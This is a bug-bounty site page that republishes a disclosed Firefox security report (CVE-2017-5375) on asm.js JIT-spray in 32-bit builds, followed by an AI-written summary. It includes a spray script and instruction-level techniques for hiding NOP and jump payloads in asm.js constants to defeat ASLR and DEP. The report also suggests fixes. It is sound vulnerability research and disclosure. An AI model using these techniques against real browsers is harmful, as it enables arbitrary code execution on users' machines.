Skip to content
Memory corruption Disclosed report Advanced CVE-2017-5375

lack of executable-code quota allows full bypass of ASLR and DEP

Firefox's asm.js JIT compiler allowed an attacker to spray executable memory with attacker-controlled code, bypassing ASLR and DEP. An attacker with an EIP control vulnerability could then execute arbitrary code without needing an info leak or code-reuse.

Rh0 Follow

Originally disclosed on Mozilla

Critical View original
  • Fixed in 22 days
  • Paid in 33 days
  • Disclosed after 22 days
Text
Created attachment 8820887
PoC for Firefox 50.1.0 (Release). Demonstrates point 2.1 in the report

asm.js allows to JIT-spray attacker controlled code, and hence, allows to fully
bypass ASLR and DEP in 32-bit (x86) Firefox (Tested versions: Release and
Nightly). As it is very easy to find, I do not know if it is already known (I
hope I do not reinvent the wheel here...)

In summary this means, that an attacker can exploit a memory corruption
vulnerability (such as an UAF) as if no ASLR and DEP existed. He only needs EIP
control and does not need any memory disclosures/info-leaks or code-reuse. That
makes exploitation of memory corruptions for an attacker super easy.


Consider following asm.js script:

<script>
function asm_js_module(){
    "use asm"
    function asm_js_function(){
        /* attacker controlled asm.js code */
    }
    return asm_js_function
}

modules = []
/* create 0x1000 executable regions containing our code */
for (i=0; i<0x1000; i++){
    /* request asm.js module */
    modules[i] = asm_js_module() 
}
</script>


Each time an asm.js module is requested, VirtualAlloc is called and returns a
new RW (PAGE_READWRITE) region aligned to 0xXXXX0000. At that point the call
stack looks like this (Firefox 50.1.0):

0:000> kP a
 # ChildEBP RetAddr  
00 008fe060 670ef66e KERNEL32!VirtualAllocStub
01 (Inline) -------- xul!js::jit::AllocateExecutableMemory+0x10 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\jit\executableallocatorwin.cpp @ 190]
02 008fe078 670f65c7 xul!AllocateCodeSegment(
            class js::ExclusiveContext * cx = 0x04516000, 
            unsigned int totalLength = <Value unavailable error>)+0x23 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\asmjs\wasmcode.cpp @ 67]
03 008fe0b8 670de070 xul!js::wasm::CodeSegment::create(
            struct JSContext * cx = 0x04516000, 
            class mozilla::Vector<unsigned char,0,js::SystemAllocPolicy> * bytecode = 0x08c61008, 
            struct js::wasm::LinkData * linkData = 0x08c61020, 
            struct js::wasm::Metadata * metadata = 0x06ab68d0, 
            class JS::Handle<js::WasmMemoryObject *> memory = class JS::Handle<js::WasmMemoryObject *>)+0x67 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\asmjs\wasmcode.cpp @ 206]
04 008fe184 6705f99d xul!js::wasm::Module::instantiate(
            struct JSContext * cx = 0x04516000, 
            class JS::Handle<JS::GCVector<JSFunction *,0,js::TempAllocPolicy> > funcImports = class JS::Handle<JS::GCVector<JSFunction *,0,js::TempAllocPolicy> >, 
            class JS::Handle<js::WasmTableObject *> tableImport = class JS::Handle<js::WasmTableObject *>, 
            class JS::Handle<js::WasmMemoryObject *> memoryImport = class JS::Handle<js::WasmMemoryObject *>, 
            class mozilla::Vector<js::wasm::Val,0,js::SystemAllocPolicy> * globalImports = 0x008fe200, 
            class JS::Handle<JSObject *> instanceProto = class JS::Handle<JSObject *>, 
            class JS::MutableHandle<js::WasmInstanceObject *> instanceObj = class JS::MutableHandle<js::WasmInstanceObject *>)+0x94 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\asmjs\wasmmodule.cpp @ 689]
05 008fe260 6705aae6 xul!TryInstantiate(
            struct JSContext * cx = 0x04516000, 
            class JS::CallArgs args = class JS::CallArgs, 
            class js::wasm::Module * module = 0x08c61000, 
            struct js::AsmJSMetadata * metadata = 0x06ab68d0, 
            class JS::MutableHandle<js::WasmInstanceObject *> instanceObj = class JS::MutableHandle<js::WasmInstanceObject *>, 
            class JS::MutableHandle<JSObject *> exportObj = class JS::MutableHandle<JSObject *>)+0x1e6 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\asmjs\asmjs.cpp @ 7894]
06 008fe2c4 35713638 xul!InstantiateAsmJS(
            struct JSContext * cx = 0x04516000, 
            unsigned int argc = 0, 
            class JS::Value * vp = 0x008fe2f0)+0x88 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\asmjs\asmjs.cpp @ 8008]


Afterwards, the asm.js compiled/native code is copied to the RW region
(firefox-50.1.0/js/src/asmjs/WasmCode.cpp:223 in method CodeSegment::create):

223         memcpy(cs->code(), bytecode.begin(), bytecode.length());
224         StaticallyLink(*cs, linkData, cx);
225         if (memory)
226             SpecializeToMemory(*cs, metadata, memory);
227     }
228 
229     if (!ExecutableAllocator::makeExecutable(cs->code(), cs->codeLength())) {

And in line 229 the RW region is made executable (PAGE_EXECUTE_READ) with
ExecutableAllocator::makeExecutable which calls VirtualProtect.


An attacker can request one asm.js module many times, which leads to the
creation of many RX regions. Due to the allocation granularity of VirtualAlloc
he can then choose a fixed address (such as 0x1c1c0000) and can be certain that
his compiled/native asm.js code is located there.


IMO following flaws/missing checks are responsible that asm.js JIT-spray is
possible. Some of them are well known:

1) Not MANY, but only ONE RX region should be created per module. Many requests
to one asm.js module should return references instead of new RX regions.


2.1) Constant folding is missing in Release (50.1.0). (But it seems it was
added in Nightly between 18 Nov. 2016 and 30 Nov. 2016). This makes it possible
to use many subsequent arithmetic operations on one variable and wrap the
legitimate instructions.
        
For example, we can hide three NOPS (0x90) in asm.js constants with:
    VAL = (VAL + 0xA8909090)|0;
    VAL = (VAL + 0xA8909090)|0;

Following native code is generated:
    00: 05909090A8    ADD EAX, 0xA8909090
    05: 05909090A8    ADD EAX, 0xA8909090

When we jump into offset 01 (the immediate of the first instruction) we can
execute our hidden code (We'll use 0xA8 as masking byte):
    01: 90    NOP
    02: 90    NOP
    03: 90    NOP
    04: A805  TEST AL, 05
    06: 90    NOP
    07: 90    NOP
    08: 90    NOP
    09: A8...


2.2) Although constant folding/propagation seems to be implemented in Nightly,
an attacker can still force to emit his hidden code: for example, he can hide
two nops and a jump to the next constant with following asm.js code:
    asm_js_heap[0x10] = 0xEB069090;
    asm_js_heap[0x11] = 0xEB069090;

asm.js emits following native code:
    00: B89090EB06	MOV EAX, 0x06EB9090
    05: A340C07B04	MOV DWORD [0x047BC040], EAX
    0A: B89090EB06	MOV EAX, 0x06EB9090
    0F: A344C07B04	MOV DWORD [0x047BC044], EAX

But when we jump into offset 01, we get:
    01: 90    NOP
    02: 90    NOP
    03: EB06  JMP 0x0B
    ..
    0B: 90    NOP
    0C: 90    NOP
    0D: EB06  JMP 0x15
    ..


2.3) Another possibility is to use FFI and pass many parameters to it.
Consider following asm.js code:
    heap[10] = ffi(0x90909090|0, 0x90909090|0, 0x90909090|0, 0x90909090|0, /* and many more*/ )

Following native code is emitted (Nightly 53.0a1 20161215061212 32-bit - Windows 10):
    0:026> u 1c1c0053
    1c1c0053 90              nop
    1c1c0054 90              nop
    1c1c0055 90              nop
    1c1c0056 c744240c90909090 mov     dword ptr [esp+0Ch],90909090h
    1c1c005e c744241090909090 mov     dword ptr [esp+10h],90909090h
    1c1c0066 c744241490909090 mov     dword ptr [esp+14h],90909090h
    1c1c006e c744241890909090 mov     dword ptr [esp+18h],90909090h
    1c1c0076 c744241c90909090 mov     dword ptr [esp+1Ch],90909090h

This again allows to use two bytes as payload bytes and two bytes as jump to
the next constant.


3) There is no constant blinding of 4-byte constants. Hence, an attacker can
use the well known trick to hide his opcodes/payload/shellcode within the
constants (as shown in 2.1, 2.2, 2.3).


4) There is insufficient random nop insertion. It seems that the same amount
and type of nops are emitted for a specific module. That means, that the native
code of one module is fully predictable. An attacker can test his code and use
it across other machines with the same OS/Firefox version (am I missing here
sth.?). Better random nop insertion would break 2.1, 2.2, 2.3. More random
base addresses, each time the same module is used would help, too.  Separating
code from data such as using a constant pool for constants might also help.


To demonstrate that this asm.js JIT-spray works, I attached several proof of
concepts for Windows 8.1 and Windows 10 (including an exploit for
CVE-2016-9079, the recent Tor Browser 0day). I have also exploits for
CVE-2016-1960 and CVE-2016-2819, but the attached PoCs should proof the point.
Information how to test them is available in the PoCs.

Principally, asm.js JIT-spray should work for Linux, too. However, mmap returns
regions on a 4 KB granularity, hence more modules need to be sprayed to occupy
a predictable address. I did not investigate any possibilities for 64-bit
Firefox. However it might also be affected in one or another way.

I think JIT hardening was also tracked by
https://bugzilla.mozilla.org/show_bug.cgi?id=677272.

Please correct me if anything is wrong or if I missed something. Or ping me if
one of the PoCs does not work or if you need more information.

More general information about JIT-spray can be found here:
https://packetstormsecurity.com/files/86975/Writing-JIT-Spray-Shellcode.pdf
http://zhodiac.hispahack.com/my-stuff/security/Flash_Jit_InfoLeak_Gadgets.pdf
https://www.nccgroup.trust/globalassets/resources/us/presentations/documents/attacking_clientside_jit_compilers.pdf
https://www.nccgroup.trust/globalassets/resources/us/presentations/documents/attacking_clientside_jit_compilers_paper.pdf
https://media.blackhat.com/bh-us-11/Tsai/BH_US_11_TsaiPan_Weapons_Targeted_Attack_Slides.pdf
https://erpscan.com/wp-content/uploads/2012/06/HITB-JIT-Spray-Attacks-and-Advanced-Shellcode.pdf
http://xlab.tencent.com/en/2015/12/09/bypass-dep-and-cfg-using-jit-compiler-in-chakra-engine/
https://sites.google.com/site/bingsunsec/WARPJIT/JIT%20Spraying%20Never%20Dies%20-%20Bypass%20CFG%20By%20Leveraging%20WARP%20Shader%20JIT%20Spraying.pdf



Best,

    Rh0

The original report as published on Mozilla's Bugzilla, by Rh0. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the asm.js JIT compiler created many executable memory regions per module, lacked constant blinding and constant folding, and used predictable NOP insertion, allowing an attacker to place controlled code at a fixed address.

Impact

An attacker could exploit a memory corruption vulnerability (such as a UAF) as if no ASLR and DEP existed, needing only EIP control and no memory disclosures or code-reuse.

What the attacker needed

32-bit Firefox on Windows; EIP control from a memory corruption bug

How it was found

  1. Create an asm.js module that contains attacker-controlled constants.
  2. Request the same asm.js module many times to create many executable regions.
  3. Choose a fixed address (e.g., 0x1c1c0000) where the compiled code will be located.
  4. Jump into the middle of an instruction (e.g., offset 01) to execute hidden opcodes.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

ASLR and DEP are security defences that make it hard for an attacker to run their own code after finding a memory bug. This report shows that Firefox's asm.js feature could be tricked into filling memory with attacker-chosen executable code at predictable addresses, so those defences no longer helped.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Rh0

View all

2 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.